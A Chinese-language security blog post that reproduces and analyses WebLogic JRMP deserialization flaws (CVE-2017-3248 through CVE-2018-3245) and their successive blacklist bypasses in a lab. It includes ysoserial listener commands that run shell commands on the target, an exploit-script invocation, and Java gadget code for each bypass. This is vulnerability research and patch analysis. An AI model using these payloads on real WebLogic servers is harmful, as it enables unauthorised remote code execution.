Weblogic JRMP反序列化及绕过分析

警告
本文最后更新于 2020-02-26,文中内容可能已过时。

Weblogic JRMP反序列化的一系列漏洞及绕过分析.

JRMP是Java使用的另一种数据传输协议,在前文中提到了传输过程中会自动序列化和反序列化,因此weblogic出现了一系列的漏洞,即CVE-2017-3248、CVE-2018-2628、CVE-2018-2893、CVE-2018-3245,众所周知weblogic打补丁的形式为黑名单,所以CVE-2017-3248之后的洞都为黑名单绕过,本文逐一讲解。

因为本机没有python2,就直接在虚拟机里复现了。使用ysoserial监听JRMP服务

1
./Oracle/Middleware/jdk160_29/jre/bin/java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8080 CommonsCollections1 'touch /tmp/success'

下载python版exp脚本 ,运行

1
python 44553.py 172.16.2.129 7001 ./ysoserial.jar 172.16.2.129 8080 JRMPClient

成功创建/tmp/success文件

image

JRMP在前文中提到了在传输过程中也会自动序列化和反序列化,那么我们可以构造一个gadgets,通过T3协议让weblogic自动请求我们的JRMPListener,然后JRMPListener返回给他一个恶意的gadgets对象,weblogic自动反序列化恶意对象,达到rce。

过程如图

image

整个构造需要两步

  1. 构造T3协议的payload,让weblogic请求我们的JRMP -> 复现中的python脚本
  2. 构造JRMPListener返回的gadgets -> 复现时监听JRMPListener

看下python脚本,发现脚本中是使用ysoserial生成payload.out,然后读出hex构造t3发包

image

看下JRMPClient.java的代码

image

利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,并使用UnicastRef和远端建立tcp连接,获取RMI registry,序列化之后发送给weblogic,weblogic会请求我们的JRMPListener,然后将获取的内容利用readObject()进行解析,导致恶意代码执行。

BypassPayloadSelector.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static Object selectBypass(Object payload) throws Exception {

    if (Main.TYPE.equalsIgnoreCase("marshall")) {
        payload = marshalledObject(payload);
    } else if (Main.TYPE.equalsIgnoreCase("streamMessageImpl")) {
        payload = streamMessageImpl(Serializables.serialize(payload));
    }else if(Main.TYPE.equalsIgnoreCase("JRMPListener")){
        payload = JRMPListener(cmdLine.getOptionValue("H")+":"+ cmdLine.getOptionValue("P"));
    }
    return payload;
}

public static Registry JRMPListener(String command) throws Exception {

    String host;
    int port;
    int sep = command.indexOf(':');
    if (sep < 0) {
        port = new Random().nextInt(65535);
        host = command;
    } else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Registry proxy = (Registry) Proxy.newProxyInstance(BypassPayloadSelector.class.getClassLoader(), new Class[]{
        Registry.class
            }, obj);
    return proxy;
}

weblogic_cmd是一个很方便发送t3协议数据的工具,改了改通过参数-T来指定JRMPClient,加了一个JRMPClient方法,仍然需要用ysoserial.jar监听JRMPListener。

1
java -cp yso.jar ysoserial.exploit.JRMPListener 8080 CommonsCollections1 "curl http://172.16.1.1"

先看CVE-2017-3248的补丁

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
    String[] arr$ = interfaces;
    int len$ = interfaces.length;

    for(int i$ = 0; i$ < len$; ++i$) {
        String intf = arr$[i$];
        if (intf.equals("java.rmi.registry.Registry")) {
            throw new InvalidObjectException("Unauthorized proxy deserialization");
        }
    }

    return super.resolveProxyClass(interfaces);
}

思路一:resolveProxyClass反序列化代理类才会调用,直接反序列化UnicastRef对象,调用sum.rmi.server.UnicastRef#readExternal。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public Registry getObject(final String command) throws Exception {

    String host;
    int port;
    int sep = command.indexOf(':');
    if (sep < 0) {
        port = new Random().nextInt(65535);
        host = command;
    } else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    return ref;
}

这样绕过之后补丁把UnicastRef加入了黑名单。

思路二:使用java.rmi.registry.Registry之外的类。廖新喜用的java.rmi.activation.Activator

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
public Registry getObject(final String command) throws Exception {
    String host;
    int port;
    int sep = command.indexOf(':');
    if (sep < 0) {
        port = new Random().nextInt(65535);
        host = command;
    } else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(), new Class[] {
        Activator.class
            }, obj);
    return proxy;
}

由于weblogic一直没有处理streamMessageImpl,导致CVE-2016-0638 + CVE-2018-2628 = CVE-2018-2893,用streamMessageImpl封装一下而已。

RMIConnectionImpl_Stub代替RemoteObjectInvocationHandler,实际上就是找RemoteObject类的子类。https://github.com/pyn3rd/CVE-2018-3245

一切罪恶的源头都是T3协议,weblogic还是禁用T3协议为好。weblogic黑名单补丁总是治标不治本,无奈的是补丁需要付费才能下载到。

  1. https://www.cnblogs.com/afanti/p/10256840.html
  2. https://seaii-blog.com/index.php/2019/12/29/92.html
  3. https://github.com/pyn3rd/CVE-2018-2893
  4. https://mp.weixin.qq.com/s/ohga7Husc9ke5UYuqR92og
  5. 廖新喜 CVE-2018-2628 简单复现与分析

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。